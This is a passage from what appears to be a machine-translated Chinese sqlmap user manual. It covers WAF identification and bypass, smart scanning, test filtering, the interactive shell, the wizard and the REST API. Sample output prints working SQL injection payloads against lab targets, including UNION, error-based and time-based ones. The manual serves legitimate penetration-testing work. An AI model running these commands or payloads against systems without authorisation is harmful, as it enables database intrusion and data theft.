eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by 
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定義輸出目錄路徑

選項:--output-dir

sqlmap 預設在子目錄中儲存會話和結果檔案。如果您想要使用其他位置,可以使用此選項(例如 )。output``--output-dir=/tmp

分析響應頁中的 DBMS 錯誤訊息

開關:--parse-errors

如果 Web 應用程式在除錯模式下配置,以便它在 HTTP 響應中顯示端端資料庫管理系統錯誤訊息,sqlmap 可以分析並顯示它們。

這對於除錯目的很有用,例如瞭解為什麼某個列舉或接管開關不起作用 - 這可能是會話使用者的許可權問題,在這種情況下,您會看到一條 DBMS 錯誤訊息,其行自。Access denied for user <SESSION USER>

針對 Microsoft SQL Server 目標的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the 
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

預處理響應資料

選項--preprocess

使用此選項,在 sqlmap 檢測引擎使用之前(例如,解碼資料或刪除垃圾)之前,可以使用 (HTTP) 響應資料的預處理指令碼。例如,將所有小寫字元轉換為大寫字元的預處理指令碼可能是:

#!/usr/bin/env python

def preprocess(page, headers=None, code=None):
    return page.upper() if page else page, headers, code

將選項儲存在配置 INI 檔案中

選項:--save

可以將命令列選項儲存到配置 INI 檔案中。然後,可以使用上述選項編輯生成的檔案並傳遞給 sqlmap。-c

更新 sqlmap

開關:--update

使用此選項,您可以直接從 Git 儲存庫將該工具更新到最新的開發版本。你顯然需要網際網路接入。

如果由於任何原因此操作失敗,請從 sqlmap 工作副本執行。它將執行完全相同的開關操作。如果在 Windows 上執行 sqlmap,可以使用SmartGit客戶端。git pull``--update

在向郵件列表報告任何Bug 之前,強烈建議這樣做

雜項

使用短的分音

選項:-z

鍵入所有所需的選項和開關可能會變得繁瑣,尤其是對於使用最頻繁的選項和開關(例如 )。處理這個問題的方法更簡單、更短。在 sqlmap 中, 它被稱為 "mnemonics" 。--batch --random-agent --ignore-proxy --technique=BEU

每個選項和開關都可以使用選項以較短的分音形式書寫,用逗號字元 () 分隔,其中分形僅表示原始名稱中第一個任意選擇的部分。沒有將選項和交換機嚴格對映到各自的縮短對應方。唯一必需的條件是,沒有其他選項或交換機具有與所需字首相同的字首。-z``,

例子:

$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"

可以以較短的分音形式書寫(多種方式之一),例如:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"

另一個示例:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"

可以以較短的分音形式書寫,如:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"

對成功的 SQL 注入檢測發出警報

選項:--alert

找到 SQL 注入時發出蜂鳴音

開關:--beep

如果該使用者使用交換機,當發現 SQL 注入時,將立即發出蜂鳴聲警告他。當需要測試的目標 URL 有大量批量列表(選項)時,這尤其有用。--beep``-m

從 sqlmap 特定的 UDF 和表中清理 DBMS

開關:--cleanup

建議從 sqlmap 臨時表(例如 )中清理端端資料庫管理系統,並在接管基礎作業系統或檔案系統後建立使用者定義的函式。交換機將盡可能嘗試清理 DBMS 和檔案系統。sqlmapoutput``--cleanup

檢查依賴項

開關:--dependencies

sqlmap 在某些特殊情況下需要獨立安裝額外的第三方庫(例如選項、隧道切換、HTTP 身份驗證型別選項等),並且僅在此類特殊情況下警告使用者。但是,如果您想要獨立檢查所有這些額外的第三方庫依賴項,您可以使用 switch 。-d``--os-pwn``icmpsh``--auth-type``NTLM``--dependencies

$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

禁用控制檯輸出著色

開關:--disable-coloring

sqlmap 預設情況下在寫入控制檯時使用著色。在意外效果的情況下(例如,控制檯外觀未解釋的 ANSI 著色程式碼(如 ),您可以使用此開關禁用控制檯輸出著色。\x01\x1b[0;32m\x02[INFO]

使用來自指定頁號的 Google dork 結果

選項:--gpage

預設 sqlmap 選項是執行 Google 搜尋並使用前 100 個生成的 URL 進行進一步的 SQL 注入測試。但是,結合此選項,您可以使用此選項 () 指定第一個檢索目標 URL 的頁面。-g``--gpage

使用 HTTP 引數汙染

開關:--hpp

HTTP 引數汙染 (HPP) 是一種繞過 WAF/IPS 保護機制的方法(此處說明),對ASP/IIS 和 ASP.NET/IIS 平臺特別有效。如果您懷疑目標是此類保護的幕後黑手,可以嘗試使用此開關繞過它。

對 WAF/IPS 保護進行徹底測試

開關:--identify-waf

sqlmap 可以嘗試標識後端 WAF/IPS 保護(如果有),以便使用者可以執行適當的步驟(例如,使用 篡改指令碼)。目前支援大約 30 種不同的產品(氣閘、梭子魚 WAF 等),其各自的 WAF 指令碼可以在目錄內找到。--tamper``waf

針對受 ModSecurity WAF 保護的 MySQL 目標的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS protection
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Hyperguard Web Application 
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'CloudFlare Web Application 
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]

跳過 WAF/IPS 保護的啟發式檢測

開關:--skip-waf

預設情況下,sqlmap 會自動在啟動請求中傳送一個虛擬引數值,其中包含故意"可疑"的 SQL 注入有效負載(例如 )。如果目標響應方式與原始請求不同,則很有可能受到某種保護。如果出現任何問題,使用者可以通過提供開關來禁用此機制。...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1``--skip-waf

模仿智慧手機

開關:--mobile

有時,Web 伺服器向行動電話公開不同的介面,而不是向臺式計算機公開不同的介面。在這種情況下,您可以強制使用預先確定的智慧手機 HTTP 使用者代理標頭值之一。使用此開關,sqlmap 將要求您選擇一個流行的智慧手機,它會模仿在當前執行。

示例執行:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

離線模式下工作(僅使用會話資料)

開關:--offline

通過使用 switch sqlmap 將僅在資料列舉中使用上一個會話資料。這基本上意味著在此類執行期間將沒有連線嘗試。--offline

安全地從資料目錄中刪除所有內容

開關--purge

如果使用者決定安全地從 sqlmap 的資料目錄(例如 ,包含以前 sqlmap 執行的所有目標詳細資訊)中刪除所有內容,他可以使用 switch 。清除時,資料資料夾中(子)目錄的所有檔案都將被隨機資料覆蓋、截斷、重新命名為隨機名稱、(子)目錄也將重新命名為隨機名稱,最後將刪除整個目錄樹。$HOME/.local/share/sqlmap``--purge

示例執行:

$ python sqlmap.py --purge -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/testuser/.local/share/sqlmap'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

只有在啟發性陽性時進行徹底測試

開關--smart

在某些情況下,當用戶有大量潛在目標 URL列表(例如,提供選項),並且他希望儘快找到易受攻擊的目標時。如果使用開關,則只有可以引發 DBMS 錯誤的引數在掃描中進一步使用。否則,將跳過它們。-m``--smart

針對 MySQL 目標的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might 
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable 
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]

按有效負載和/或標題選擇(或跳過)測試

選項--test-filter

如果您要按測試的有效負載和/或標題篩選測試,您可以使用此選項。例如,如果要測試內部有關鍵字的所有有效負載,可以使用 。ROW``--test-filter=ROW

針對 MySQL 目標的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
 HAVING clause' injectable 
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY 
x)
---
[...]

選項--test-skip=TEST

如果您想要跳過測試的有效負載和/或標題,您可以使用此選項。例如,如果要跳過內部有關鍵字的所有有效負載,可以使用 。BENCHMARK``--test-skip=BENCHMARK

互動式 sqlmap 外殼

開關:--sqlmap-shell

通過使用交換機,使用者將呈現互動式 sqlmap 外殼,該外殼具有以前所有執行的歷史記錄,以及已使用的選項和/或交換機:--sqlmap-shell

$ python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
 be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending 
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - 
WHERE or HAVING clause' injectable 
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT 
UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql' 
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com' 
sqlmap-shell> exit

Simple wizard interface for beginner users

Switch: --wizard

對於初學者使用者,有一個嚮導介面,它使用簡單的工作流,儘可能少的問題。如果使用者只是輸入目標 URL 並使用預設答案(例如按 ),則在工作流結束時,他應具有正確設定的 sqlmap 執行環境。Enter

針對 Microsoft SQL Server 目標的示例:

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- 

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT 
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
    Oct 14 2005 00:33:37 
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at xx:xx:52

API(REST-JSON)

sqlmap 可以通過使用 JSON 進行 REST-JSON API API(應用程式應用程式介面的縮寫)執行,該 API 使用 JSON 進行 REST(用於 REpentation 狀態傳輸的縮寫)伺服器和客戶端例項之間的通訊。在普萊亞比克中,伺服器執行 sqlmap 掃描,而客戶端正在設定 sqlmap 選項/開關並拉回結果。執行 API 的主程式檔案是 ,而客戶端也可以在任意使用者程式內實現。sqlmapapi.py

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

伺服器使用 switch 、客戶端使用 switch 執行 ,而在這兩種情況下,使用者可以(可選)使用選項(預設)設定偵聽 IP 地址,使用選項(預設) 設定偵聽埠。每個客戶端的"會話"可以有多個"任務"(即 sqlmap 掃描執行),使用者可以任意選擇當前應處於活動狀態的任務。sqlmapapi.py``-s``-c``-H``"127.0.0.1"``-p``8775

客戶端的命令列介面內部可用的命令有:

  • help- 顯示可用命令列表以及基本幫助資訊
  • new ARGS- 使用提供的引數啟動新的掃描任務(例如new -u "http://testphp.vulnweb.com/artists.php?artist=1")
  • use TASKID- 將當前上下文切換到不同的任務(例如use c04d8c5c7582efb4)
  • data- 檢索並顯示當前任務的資料
  • log- 檢索並顯示當前任務的日誌
  • status- 檢索並顯示當前任務的狀態
  • stop- 停止當前任務
  • kill- 終止當前任務
  • list- 顯示所有任務(當前會話)
  • flush- 重新整理(即刪除)所有任務
  • exit- 退出客戶端介面

伺服器執行示例:

$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
